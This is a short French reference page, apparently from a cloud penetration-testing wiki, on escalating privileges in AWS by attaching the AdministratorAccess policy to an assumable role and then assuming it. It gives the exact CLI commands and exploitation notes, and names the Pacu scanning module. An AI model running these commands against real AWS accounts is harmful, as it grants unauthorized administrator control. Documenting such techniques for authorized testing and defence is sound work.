iam:AttachRolePolicy attache une politique managée à un rôle. Si vous pouvez déjà assumer un rôle (ou le transmettre à un service), attacher AdministratorAccess à ce rôle le transforme en rôle administrateur que vous utilisez ensuite.
Attacher puis assumer#
aws iam attach-role-policy --role-name <assumable-role> \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws sts assume-role --role-arn arn:aws:iam::<acct>:role/<assumable-role> \
--role-session-name s
Notes d'exploitation#
- À combiner avec l'assomption de rôle : l'attachement n'est utile que sur un rôle que vous pouvez atteindre, en l'assumant ou en le transmettant à un service.
- Les identifiants de session préexistants pour le rôle ne prennent pas en compte la nouvelle politique tant qu'un nouveau
AssumeRolen'est pas effectué.
Outils#
- AWS CLI (
iam attach-role-policy,sts assume-role). - Pacu (
iam__privesc_scan).